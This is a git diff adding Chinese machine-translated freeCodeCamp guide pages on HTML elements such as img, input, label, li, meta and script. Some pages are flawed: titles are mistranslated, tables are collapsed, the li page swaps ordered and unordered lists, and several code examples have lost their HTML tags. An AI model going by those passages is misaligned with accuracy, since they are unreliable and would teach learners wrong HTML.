+`alt`标签为图像提供替代文本。 `alt`标签的一个用途是用于使用屏幕阅读器的视障人士;他们可以阅读图像的`alt`标签，以了解图像的含义。
+
+请注意，图像文件的路径可以是相对路径也可以是绝对路径。此外，请记住`img`元素是自动关闭的，这意味着它不会与`<img />`标记关闭，而只是关闭一个`>` 。
+
+例：
+
+```html
+
+<img src="https://example.com/image.png" alt="my picture"> 
+```
+
+（这假设html文件位于https://example.com/index.html，因此它与图像文件位于同一文件夹中）
+
+是相同的：
+
+```html
+
+<img src="image.png" alt="my picture"> 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img) [W3Schools的](https://www.w3schools.com/TAGs/tag_img.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/index.md b/client/src/guide/chinese/html/elements/index.md
new file mode 100644
index 0000000000..4bb99e3b3f
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/index.md
@@ -0,0 +1,118 @@
+---
+title: Elements
+localeTitle: 分子
+---
+# HTML元素
+
+元素是HTML的构建块，用于描述网页的结构和内容。它们是超文本标记语言（HTML）的“标记”部分。
+
+HTML语法使用尖括号（“<”和“>”）来保存HTML元素的名称。元素通常具有开始标记和结束标记，并提供有关其包含的内容的信息。两者之间的区别在于结束标记有正斜杠。
+
+这是一个使用[p元素](#) （ `<p>` ）告诉浏览器一组文本是段落的示例：
+
+```html
+
+<p>This is a paragraph.</p> 
+```
+
+打开和关闭标记应该匹配，否则浏览器可能以意外的方式显示内容。
+
+![XKCD漫画显示文字“问：你如何惹恼开发者？”由开口div标签和关闭span标签包围](http://imgs.xkcd.com/comics/tags.png)
+
+## 自闭元素
+
+某些HTML元素是自动关闭的，这意味着它们没有单独的结束标记。自闭元素通常会在文档中插入一些内容。
+
+一个例子是[br元素](#) （ `<br>` ），它在文本中插入换行符。以前，自动关闭标签内部有正斜杠（ `<br />` ），但HTML5规范不再需要这样。
+
+## HTML元素功能
+
+有许多可用的HTML元素。以下是它们执行的一些功能的列表：
+
+*   提供有关网页本身的信息（元数据）
+*   将页面内容结构化为部分
+*   嵌入图像，视频，音频剪辑或其他多媒体
+*   创建列表，表格和表单
+*   提供有关特定文本内容的更多信息
+*   链接到样式表，其中包含有关浏览器应如何显示页面的规则
+*   添加脚本以使页面更具交互性和动态性
+
+## 嵌套HTML元素
+
+您可以将元素嵌套在HTML文档中的其他元素中。这有助于定义页面的结构。只需确保标签首先从最里面的元素关闭。
+
+正确： `<p>This is a paragraph that contains a <span>span element.</span></p>`
+
+不正确： `<p>This is a paragraph that contains a <span>span element.</p></span>`
+
+## 块级和内联元素
+
+元素有两大类，称为块级和内联。块级元素自动从新行开始，而内联元素位于周围内容中。
+
+帮助将页面组织成部分的元素（例如导航栏，标题和段落）通常是块级元素。插入或提供有关内容的更多信息的元素通常是内联的，例如[链接](#)或[图像](#) 。
+
+## HTML元素
+
+有一个`<html>`元素，用于包含HTML文档的其他标记。它也被称为“根”元素，因为它是其他HTML元素的父级和页面的内容。
+
+这是一个带有[head元素](#the-head-element) ， [body元素](#the-body-element)和一个[段落](#the-p-element)的页面示例：
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+  </head> 
+  <body> 
+    <p>I'm a paragraph</p> 
+  </body> 
+ </html> 
+```
+
+## HEAD元素
+
+这是用于处理HTML文档的信息和元数据的容器。
+
+```html
+
+<head> 
+  <meta charset="utf-8"> 
+ </head> 
+```
+
+## 身体元素
+
+这是HTML文档的可显示内容的容器。
+
+```html
+
+<body>...</body> 
+```
+
+## P元素
+
+创建一个段落，可能是最常见的块级元素。
+
+```html
+
+<p>...</p> 
+```
+
+## A（链接）元素
+
+创建一个超链接，将访问者定向到另一个页面或资源。
+
+```html
+
+<a href="#">...</a> 
+```
+
+## 其他资源
+
+*   [HTML段落](#)
+*   [HTML br](#)
+*   [HTML链接](#)
+*   [HTML图片](#)
+*   [HTML头](#)
+*   [HTML正文](#)
+*   [HTML DOCTYPE](#)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/input-tag/index.md b/client/src/guide/chinese/html/elements/input-tag/index.md
new file mode 100644
index 0000000000..dc935e8bff
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/input-tag/index.md
@@ -0,0 +1,82 @@
+---
+title: Input Tag
+localeTitle: 输入标签
+---
+## 输入
+
+HTML输入标记可以包含在HTML文档中，如下所示：
+
+```html
+
+<input type="text"> 
+```
+
+这创建了一个用户可以轻松输入信息的区域。然后将该信息发送到后端数据库，并在网站或应用程序中进一步存储或使用。
+
+带有“type ='text'”的输入将生成一个单行字段，可以输入任何信息。其他常见类型的输入包括但不限于：按钮，复选框，颜色，电子邮件和密码。
+
+### 最常用的类型
+
+*   `text` ：单行文本字段。
+    
+*   `button` ：没有默认行为的按钮。
+    
+*   `submit` ：提交表单的按钮。
+    
+*   `checkbox` ：允许选择/取消选择值的`checkbox` 。
+    
+*   `date` ：用于输入日期（年，月和日）。
+    
+*   `email` ：用于编辑电子邮件地址。
+    
+*   `file` ：允许用户选择文件。
+    
+*   `hidden` ：未显示但其值已提交给服务器。
+    
+*   `number` ：输入号码。
+    
+*   `password` ：单行文本字段，其值被遮盖。
+    
+*   `radio` ：一个单选按钮，允许从多个选项中选择单个值。
+    
+*   `range` ：输入数字的控件。
+    
+*   `url` ：用于输入URL。
+    
+
+例：
+
+```html
+
+<input type="button"> 
+ <input type="checkbox"> 
+ <input type="color"> 
+ <input type="email"> 
+ <input type="password"> 
+```
+
+输入带有许多预定属性。
+
+一些常见的属性包括自动完成，检查和占位符。
+
+```html
+
+<input type="text" placeholder="This is a placeholder"> 
+```
+
+在上面的例子中，呈现了可以输入输入的区域，占位符表示“这是占位符”。单击输入行并按下某个键后，占位符将消失，并由您自己的输入替换。
+
+```html
+
+<input type="checkbox" checked> 
+```
+
+在这种情况下，会出现一个复选框，默认情况下会由于属性“已检查”而进行检查。
+
+有许多不同类型的输入和相关属性都可以在下面的链接中找到。
+
+#### 更多信息：
+
+https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input
+
+https://www.w3schools.com/tags/tag\_input.asp
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/input-types/index.md b/client/src/guide/chinese/html/elements/input-types/index.md
new file mode 100644
index 0000000000..5c8400dc6f
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/input-types/index.md
@@ -0,0 +1,13 @@
+---
+title: Input Types
+localeTitle: 输入类型
+---
+## 输入类型
+
+可以为输入HTML元素分配一个名为“类型”的属性。输入元素的类型确定用户可以输入的数据类型。默认输入是文本，但其他选项包括复选框，简单按钮或颜色（使用十六进制代码）。
+
+#### 更多信息：
+
+[W3学校：输入类型](https://www.w3schools.com/tags/att_input_type.asp)
+
+[MDN：](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/label-tag/index.md b/client/src/guide/chinese/html/elements/label-tag/index.md
new file mode 100644
index 0000000000..64287df3b9
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/label-tag/index.md
@@ -0,0 +1,62 @@
+---
+title: Label Tag
+localeTitle: 标签日
+---
+# 标签标签
+
+< **_label_** >定义了一个标签 type元素/标签。
+
+### 用法
+```
+<label for="id">Label</label> 
+ <input type="text" name="text" id="id" value="yourvalue"><br> 
+```
+
+如您所见， 标记的_for_属性应该等于相关元素的id属性以将它们绑定在一起。
+
+### 平台支持
+
+|浏览器|元素支持| | -----：|：-------------：| | Internet Explorer |：白色_复选_标记：| | Mozilla Firefox |：白色_复选_标记：| |谷歌浏览器|：白色_复选_标记：| | Opera |：白色_复选_标记：| | Safari |：白色_复选_标记：|
+
+### 属性
+
+|属性|值|说明| |：-------：|：----：|：---------：| |的|元素_id |指定标签绑定到哪个表单元素 | form | form_ id |指定标签所属的一个或多个表单
+
+### 全局属性
+
+< **label** >标记支持HTML中的全局属性。
+
+### 事件属性
+
+< **label** >标记支持HTML中的事件属性。
+
+> < **label** >元素不会呈现为用户特殊的内容。但是，它为鼠标用户提供了可用性改进，因为如果用户单击元素中的文本，它将切换控件。
+
+#### 更多信息：
+
+# [https://www.w3schools.com/jsref/dom _obj_ label.asp](https://www.w3schools.com/jsref/dom_obj_label.asp)
+
+## 标签
+
+`<label>`标签定义`<input>`元素的标签。
+
+标签可以通过使用“for”属性或通过将元素放在元素中来绑定到元素。
+
+```html
+
+<label for="peas">Do you like peas? 
+  <input type="checkbox" name="peas" id="peas"> 
+ </label> 
+```
+
+```html
+
+<label>Do you like peas? 
+  <input type="checkbox" name="peas"> 
+ </label> 
+```
+
+#### 更多信息：
+
+[MDN - Tabel标签](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/label)  
+[W3School - 标签标签](https://www.w3schools.com/tags/tag_label.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/li-tag/index.md b/client/src/guide/chinese/html/elements/li-tag/index.md
new file mode 100644
index 0000000000..5d88d42975
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/li-tag/index.md
@@ -0,0 +1,181 @@
+---
+title: Li Tag
+localeTitle: 李标
+---
+## 李标
+
+`<li>`标签定义列表中的列表项。 `<li>`标签可以与无序列表（ `<ul>` ），有序列表（ `<ol>` ）和菜单（ `<menu>` ）一起使用。
+
+要定义列表项，请在`<li>`标记中包含所需元素。 `<li>`元素必须包含在作为列表的父元素中。
+
+### 例
+
+```html
+
+<body> 
+  <ul> 
+    <li> 
+      <p>I'm a list item</p> 
+    </li> 
+    <li> 
+      <p>I'm a list item too</p> 
+    </li> 
+    <li> 
+      <p>Me three/p> 
+    </li> 
+  </ul> 
+ </body> 
+```
+
+在有序列表中， `<li>`显示为带有项目符号点的项目。
+
+*   第一项
+*   第二项
+*   第三项
+
+在无序列表中， `<li>`显示为编号项。
+
+1.  第一项
+2.  第二项
+3.  第三项
+
+可以使用_list-style-type_ CSS属性自定义此数字显示计数器。
+
+例子：
+
+```html
+
+<!-- In a simple unordered list --> 
+ <ul> 
+  <li>First item</li> 
+  <li>Second item</li> 
+  <li>Third item</li> 
+ </ul> 
+ 
+ <!-- In a simple ordered list --> 
+ <ol> 
+  <li>First item</li> 
+  <li>Second item</li> 
+  <li>Third item</li> 
+ </ol> 
+ 
+ <!-- In a menu list --> 
+ <menu> 
+  <li>Menu item one</li> 
+  <li>Menu item two</li> 
+  <li>Menu item three</li> 
+ </menu> 
+```
+
+### 属性
+
+`<li>`元素具有以下元素：
+
+#### 类型
+
+`type`属性定义将在列表中使用的编号类型。以下值用于确定将使用的编号样式：
+
+*   `1` ：数字
+*   `a` ：小写字母
+*   `A` ：大写字母
+*   `i` ：小写数字
+*   `I` ：大写数字
+
+#### 例
+
+```html
+
+<body> 
+  <ol type="I"> 
+    <li>list item</li> 
+    <li>list item</li> 
+    <li>list item</li> 
+  </ol> 
+ </body> 
+```
+
+以上HTMl将输出：
+
+1.  项目清单
+2.  项目清单
+3.  项目清单
+
+#### 值
+
+`value`属性指定当前`<li>`的数字顺序。此属性仅接受数值，并且只能与有序列表一起使用。随后的任何列表项将根据`value`属性的数字输入以数字顺序排序。
+
+#### 例
+
+```html
+
+<body> 
+  <ol> 
+    <li value="4">list item</li> 
+    <li>list item</li> 
+    <li>list item</li> 
+  </ol> 
+ </body> 
+```
+
+上面的HTML将输出：
+
+4.  项目清单
+5.  项目清单
+6.  项目清单
+
+### 将另一个列表嵌套为项目
+
+除了创建单个项目，您还可以使用`<li>`标签创建有序或无序的嵌套列表。为此，您可以_在_ `<li>`标记中嵌套`<ol>`或`<ul>` 。
+
+这是一个带有嵌套有序列表的无序列表。
+
+*   第一项
+*   第二项
+
+1.  第一个子项目
+2.  第二个子项目
+
+*   第三项
+
+这是一个带有嵌套无序列表的有序列表。
+
+1.  第一项
+2.  第二项
+
+*   第一个子项目
+*   第二个子项目
+
+1.  第三项
+
+```html
+
+<!-- An unordered list with a nested, ordered list. --> 
+ <ul> 
+  <li>First item</li> 
+  <li>Second item  <!-- No closing </li> tag before the nested list --> 
+    <ol> 
+      <li>First sub-item</li> 
+      <li>Second sub-item</li> 
+    </ol> 
+  </li>            <!-- The closing </li> tag comes after the nested list --> 
+  <li>Third item</li> 
+ </ul> 
+ 
+ <!-- An ordered list with a nested, unordered list. --> 
+ <ol> 
+  <li>First item</li> 
+  <li>Second item  <!-- No closing </li> tag before the nested list --> 
+    <ul> 
+      <li>First sub-item</li> 
+      <li>Second sub-item</li> 
+    </ul> 
+  </li>            <!-- The closing </li> tag comes after the nested list --> 
+  <li>Third item</li> 
+ </ol> 
+```
+
+#### 更多信息：
+
+*   [HTML <li>元素：MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/li)
+*   [HTML <li>标签：w3schools](https://www.w3schools.com/cssref/pr_list-style-type.asp)
+*   [CSS list-style属性：CSS-Tricks](https://css-tricks.com/almanac/properties/l/list-style/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/link-tag/index.md b/client/src/guide/chinese/html/elements/link-tag/index.md
new file mode 100644
index 0000000000..d5fb7c0099
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/link-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Link Tag
+localeTitle: 链接标记
+---
+## 链接标记
+
+链接元素可用于束缚来自另一网页或文档的相关内容。链接标记通常涉及将CSS实现到HTML文档。
+
+#### 更多信息：
+
+[MDN：链接标记](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/link)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/lists/index.md b/client/src/guide/chinese/html/elements/lists/index.md
new file mode 100644
index 0000000000..7df038fa82
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/lists/index.md
@@ -0,0 +1,69 @@
+---
+title: Lists
+localeTitle: 清单
+---
+## 清单
+
+HTML中有三种类型的列表。所有列表必须包含一个或多个列表元素。
+
+### 无序的HTML列表
+
+无序列表以`<ul>`标签开头，列表项以`<li>`标签开头。在无序列表中，默认情况下标记有项目符号的所有列表项。
+
+\`\`\`
+
+*   项目
+*   项目
+*   项目
+
+\`\`\` 输出：
+
+*   项目
+*   项目
+*   项目
+
+### 有序的HTML列表
+
+有序列表以`<ol>`标签开头，列表项以`<li>`标签开头。在有序列表中，所有列表项都标有数字。
+
+\`\`\`
+
+1.  第一项
+2.  第二项
+3.  第三项
+
+\`\`\` 输出：
+
+1.  第一项
+2.  第二项
+3.  第三项
+
+### HTML描述列表
+
+描述列表包含具有其定义的列表项。我们使用`<dl>`标签来开始列表，使用`<dt>`标签来定义术语，使用`<dd>`标签来描述每个术语。
+
+\`\`\`
+
+freeCodeCamp
+
+学习使用免费在线课程，编程项目和开发人员工作面试准备的代码。
+
+GitHub上
+
+GitHub是一个基于Web的Git或版本控制存储库和Internet托管服务。它主要用于代码。
+
+\`\`\` 输出：
+
+freeCodeCamp
+
+学习使用免费在线课程，编程项目和开发人员工作面试准备的代码。
+
+GitHub上
+
+GitHub是一个基于Web的Git或版本控制存储库和Internet托管服务。它主要用于代码。
+
+#### 更多信息：
+
+[HTML](https://html.com/lists/)
+
+[W3Schools的](https://www.w3schools.com/html/html_lists.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/main-tag/index.md b/client/src/guide/chinese/html/elements/main-tag/index.md
new file mode 100644
index 0000000000..4310cc677d
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/main-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Main Tag
+localeTitle: 主日
+---
+## 主标签
+
+`<main>`标记的工作方式类似于`<div>`标记，但在语义上表示文档的主要内容或文档的一部分。可以使用多个`<main>`标签，例如用于各种物品的主要内容，因此其内容应该对于文档是唯一的并且不在别处重复。
+
+### 例
+
+以下示例说明了`<main>`标记的用法：
+
+```html
+
+<!-- other content --> 
+ 
+ <main> 
+  <h1>Diary Entry 31</h1> 
+  <p>Oct 23 2017</p> 
+ 
+  <article> 
+    <h2>Today Is Unique</h2> 
+    <p>This information will be unique among other articles.</p> 
+  </article> 
+ </main> 
+ 
+ <!-- other content --> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/meta-tag/index.md b/client/src/guide/chinese/html/elements/meta-tag/index.md
new file mode 100644
index 0000000000..c7f73ab404
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/meta-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Meta Tag
+localeTitle: 元标记
+---
+## 元标记
+
+`<meta>`标记提供有关HTML文档的元数据。
+
+此元数据用于指定页面的字符集，描述，关键字，作者和页面的视口。
+
+此元数据不会出现在网站本身，但浏览器和搜索引擎将使用它来确定页面将如何显示内容并评估搜索引擎优化（SEO）。
+
+元数据被分配给 HTML文档：
+
+```html
+
+<head> 
+  <meta charset="UTF-8"> 
+  <meta name="description" content="Short description of website content here"> 
+  <meta name="keywords" content="HTML,CSS,XML,JavaScript"> 
+  <meta name="author" content="Jane Smith"> 
+  <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
+ <!-- HTML5 introduced a method to let web designers take control over the viewport, through the <meta> tag. The viewport is the user's visible area of a web page. A <meta> viewport element gives the browser instructions on how to control the page's dimensions and scaling. --> 
+ </head> 
+```
+
+#### 更多信息：
+
+有关的更多信息标签，请访问以下内容： （https://www.w3schools.com/TAgs/tag\_meta.asp“w3schools.com 标签”） （https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta“MDN 标签”）
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/nav-tag/index.md b/client/src/guide/chinese/html/elements/nav-tag/index.md
new file mode 100644
index 0000000000..adf1be2998
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/nav-tag/index.md
@@ -0,0 +1,23 @@
+---
+title: Nav Tag
+localeTitle: 导航标签
+---
+## 导航标签
+
+`<nav>`标签适用于主要的导航链接块。并非文档的所有链接都应位于`<nav>`元素内。
+
+浏览器（例如禁用用户的屏幕阅读器）可以使用此元素来确定是否省略此内容的初始呈现。
+
+#### 例
+
+\`\`\`html
+
+*   [家](#)
+*   [关于](#)
+*   [联系](#)
+
+\`\`\`
+
+#### 更多信息：
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/nav)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/ol-tag/index.md b/client/src/guide/chinese/html/elements/ol-tag/index.md
new file mode 100644
index 0000000000..de77abf841
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/ol-tag/index.md
@@ -0,0 +1,32 @@
+---
+title: ol Tag
+localeTitle: ol标签
+---
+## ol标签
+
+`<ol>`标记在HTML中创建有序列表元素。有序列表是HTML中的两个列表结构之一，另一个是由`<ul>`标记创建的无序列表。有序列表用于显示具有有意义顺序的列表。默认情况下，有序列表中的列表项显示为编号列表，从1开始。可以使用“type”属性或使用CSS样式更改此行为。列表元素可以嵌套。
+
+```html
+
+<ol> 
+  <li>First Item</li> 
+  <li>Second Item  <!-- No closing </li> tag before the nested list --> 
+    <ol> 
+      <li>First Subitem</li> 
+      <li>Second Subitem</li> 
+    </ol> 
+  </li>            <!-- The closing </li> tag comes after the nested list --> 
+  <li>Third Item</li> 
+ </ol> 
+```
+
+### 有序与无序列表
+
+在HTML中，有序和无序列表在使用和样式方面都类似。在更改项目顺序的位置使用有序列表将更改列表的含义。例如，有序列表可用于配方，其中改变步骤的顺序很重要。对没有有意义顺序的项目组使用无序列表。农场中的动物列表可以列在无序列表中。
+
+#### 更多信息：
+
+## 其他资源
+
+*   [无序列表`<ul>`](https://github.com/freeCodeCamp/guides/blob/master/src/pages/html/elements/ul-tag/index.md)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ol)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/p-tag/index.md b/client/src/guide/chinese/html/elements/p-tag/index.md
new file mode 100644
index 0000000000..b577a2e4f8
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/p-tag/index.md
@@ -0,0 +1,43 @@
+---
+title: P Tag
+localeTitle: P天
+---
+## P标签
+
+`<p>`标记代表段落，这是用于在`<html>`文档中创建单词行的最常用标记。使用`<p>`在元素之间自动添加边距非常有用。 `<p>`属性也可以用于CSS样式。
+
+### P标签与其他标签
+
+`<p>`的使用与其他标签兼容，允许添加超链接（ `<a>` ），粗体（ `<strong>` ），斜体（ `<i>` ）等。
+
+### 例
+
+```html
+
+<html> 
+  <head> 
+    <title>Paragraph example</title> 
+  </head> 
+  <body> 
+    <p> 
+      This <strong>sentence</strong> was created to show how the paragraph works. 
+    </p> 
+  </body> 
+ </html> 
+```
+
+您还可以在段落中嵌套锚元素`<a>` 。
+
+### 例
+
+```html
+
+<p>Here's a 
+  <a href="http://freecodecamp.com">link to Free Code Camp.com</a> 
+  for you to follow.</p> 
+```
+
+#### 更多信息：
+
+*   [MDN：<p>段落元素](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/p)
+*   [w3schools：HTML <p>标签](https://www.w3schools.com/tags/tag_i.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/paragraph/index.md b/client/src/guide/chinese/html/elements/paragraph/index.md
new file mode 100644
index 0000000000..e13f994356
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/paragraph/index.md
@@ -0,0 +1,25 @@
+---
+title: Paragraph Tag
+localeTitle: 段标记
+---
+## 段
+
+HTML
+
+element代表一段文字。
+
+通常表示一个文本块，它通过垂直空格与其他块分开。
+
+### 例
+
+\`\`\`html
+
+这是一个段落
+
+这是另一段
+
+\`\`\`
+
+#### 更多信息：
+
+https://developer.mozilla.org/en-US/docs/Web/HTML/Element/p
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/paragraphs/index.md b/client/src/guide/chinese/html/elements/paragraphs/index.md
new file mode 100644
index 0000000000..cb1154dcb4
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/paragraphs/index.md
@@ -0,0 +1,11 @@
+---
+title: Paragraphs
+localeTitle: 段落
+---
+## 段落
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/paragraphs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/s-tag/index.md b/client/src/guide/chinese/html/elements/s-tag/index.md
new file mode 100644
index 0000000000..41b4203d5f
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/s-tag/index.md
@@ -0,0 +1,18 @@
+---
+title: S Tag
+localeTitle: S天
+---
+## S标签
+
+在HTML中， `<s>`标签用于删除文本。例如：
+
+```html
+
+<p><s>This year is the year of the monkey.</s></p> 
+ <p>This year is the year of the Rooster.</p> 
+```
+
+#### 更多信息：
+
+*   [MDN - HTML标记](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/s)
+*   [W3 - HTML 5.2的标签规范](https://www.w3.org/TR/html5/textlevel-semantics.html#the-s-element)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/script-tag/index.md b/client/src/guide/chinese/html/elements/script-tag/index.md
new file mode 100644
index 0000000000..4d72282e62
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/script-tag/index.md
@@ -0,0 +1,41 @@
+---
+title: Script Tag
+localeTitle: 脚本标记
+---
+## 脚本标记
+
+HTML脚本标记用于包含客户端JavaScript或使用脚本“src”属性引用外部JavaScript文件。
+
+`<script>`标签/元素用于将客户端Javascript合并到您的HTML文件中，该文件可用于为您的网站添加交互性和逻辑
+```
+<script> 
+  //JavaScript code is written here 
+ </script> 
+ 
+ <script src="js/app.js"> 
+```
+
+标签可以用来包含HTML本身的实际Javascript代码
+```
+<script> 
+  alert('hello this is my Javascript doing things!'); 
+ </script> 
+```
+
+或者您可以使用它作为引用这样的外部JavaScript文件的方式
+```
+<script src="main.js" /> 
+```
+
+这里元素的`src`属性接受Javascript文件的路径
+
+脚本标记按顺序同步加载到HTML中，因此通常最好在HTML中`<body>`标记结束之前添加脚本，如此
+```
+  <script src="main.js" /> 
+  <script> 
+    alert('hello this is my Javascript doing things!'); 
+  </script> 
+ </body> 
+```
+
+您可以在[MDN Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script)上查看脚本元素的官方[文档](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/section-tag/index.md b/client/src/guide/chinese/html/elements/section-tag/index.md
new file mode 100644
index 0000000000..6adf55437c
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/section-tag/index.md
@@ -0,0 +1,31 @@
+---
+title: Section Tag
+localeTitle: 部分标签
+---
+## 部分
+
+HTML `<section>`元素定义HTML页面中的一个部分，当没有更具体的语义HTML元素来表示它时使用该部分。通常， `<section>`元素将包含标题元素（ `<h1>` - `<h6>` ）作为子元素。
+
+例如，网页可以分为各个部分，如欢迎，内容和联系部分。
+
+如果需要通用容器，则不应使用`<section>`元素代替`<div>`元素。它应该用于定义HTML页面中的部分。
+
+```html
+
+<html> 
+ <head> 
+  <title>Section Example</title> 
+ </head> 
+ <body> 
+  <section> 
+    <h1>Heading</h1> 
+    <p>Bunch of awesome content</p> 
+  </section> 
+ </body> 
+ </html> 
+```
+
+#### 更多信息：
+
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/section)
+*   [W3学校](https://www.w3schools.com/tags/tag_section.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/select-tag/index.md b/client/src/guide/chinese/html/elements/select-tag/index.md
new file mode 100644
index 0000000000..cb502d217b
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/select-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Select Tag
+localeTitle: 选择标签
+---
+## 选择标签
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/select-tag/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/span-tag/index.md b/client/src/guide/chinese/html/elements/span-tag/index.md
new file mode 100644
index 0000000000..46e4d00c4a
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/span-tag/index.md
@@ -0,0 +1,39 @@
+---
+title: Span Tag
+localeTitle: 跨度日
+---
+## 跨度标签
+
+`<span>`标记是一个类似于`<div>`通用容器元素。默认情况下，浏览器不会对`<span>`进行任何可视化更改，但您可以使用CSS对其进行样式设置或使用JavaScript对其进行操作。
+
+### 例
+
+```html
+
+<html> 
+  <head> 
+    <title>The Span Tag</title> 
+  </head> 
+  <body> 
+    <div> 
+      <p>This is a normal paragraph without any changes.</p> 
+      <p>This paragraph has <span style="color:red">red span styling</span> inside it without affecting the rest of the document.</p> 
+    </div> 
+  </body> 
+ </html> 
+```
+
+带红色文本的段落代码如下所示：
+
+```html
+
+<p>This paragraph has <span style="color:red">red span styling</span> inside it without affecting the rest of the document.</p> 
+```
+
+#### `<span>`和`<div>`之间的差异
+
+主要区别在于`<span>`是内联元素，而`<div>`是块元素。这意味着`<span>`可以出现在句子或段落中（如上例所示），而`<div>`将开始新的内容行。请注意，CSS `display`属性可以更改此默认行为，但这超出了本文的范围！
+
+#### 更多信息：
+
+*   [MDN HTML元素参考](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/span)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/strong-tag/index.md b/client/src/guide/chinese/html/elements/strong-tag/index.md
new file mode 100644
index 0000000000..1c82abfeaa
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/strong-tag/index.md
@@ -0,0 +1,45 @@
+---
+title: Strong Tag
+localeTitle: 强大的标签
+---
+# 强大的标签
+
+HTML < **_strong_** >标记是一个文本强调标记，在使用时，会在标记内放置，粗体显示文本。
+
+### 用法
+```
+<strong> Hello World! </strong> 
+```
+
+上面的代码导致了
+
+**你好，世界！**
+
+此标记通常也称为**强元素** 。在属性方面，只有全局属性适用于**强属** 标签即。< **strong** >标签没有特定的属性。
+
+### 浏览器支持
+
+|浏览器的名称|支持| |：-------------------：|：-------：| |铬|是| |安卓|是| |火狐|是| | Internet Explorer |是| |歌剧|是| |野生动物园|是|
+
+#### 更多信息：
+
+[https://www.techonthenet.com/html/elements/strong\_tag.php](https://www.techonthenet.com/html/elements/strong_tag.php)
+
+# [https://www.w3schools.com/tags/tag\_strong.asp](https://www.w3schools.com/tags/tag_strong.asp)
+
+`<strong>`标记用于重视HTML文档中的文本。这可以通过将您想要强调的文本包装在`<strong>`标记中来完成。大多数浏览器会将包含在`<strong>`标记中的文本呈现为粗体。
+
+注意： `<strong>`标记不应用于样式粗体文本。
+
+### 例：
+```
+<body> 
+  <p> 
+    <strong> This </strong> is important. 
+  </p> 
+ </body> 
+```
+
+#### 更多信息：
+
+*   [em标签：w3schools](https://www.w3schools.com/tags/tag_strong.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/style-tag/index.md b/client/src/guide/chinese/html/elements/style-tag/index.md
new file mode 100644
index 0000000000..1aa63b4e24
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/style-tag/index.md
@@ -0,0 +1,41 @@
+---
+title: Style Tag
+localeTitle: 样式标签
+---
+## 样式标签
+
+样式标记的使用类似于css文件，除了HTML内部，如下所示：
+```
+    <head> 
+      <title>Your Title</title> 
+      <style> 
+        p { 
+          color:red; 
+        } 
+      </style> 
+    </head> 
+```
+
+这会使段落标记的颜色变为红色。如果你只是想放一些代码，它会很有用，但如果你想要一个非常长的样式表，那么我建议你只使用`<link />` 。
+
+#### 更多信息：
+
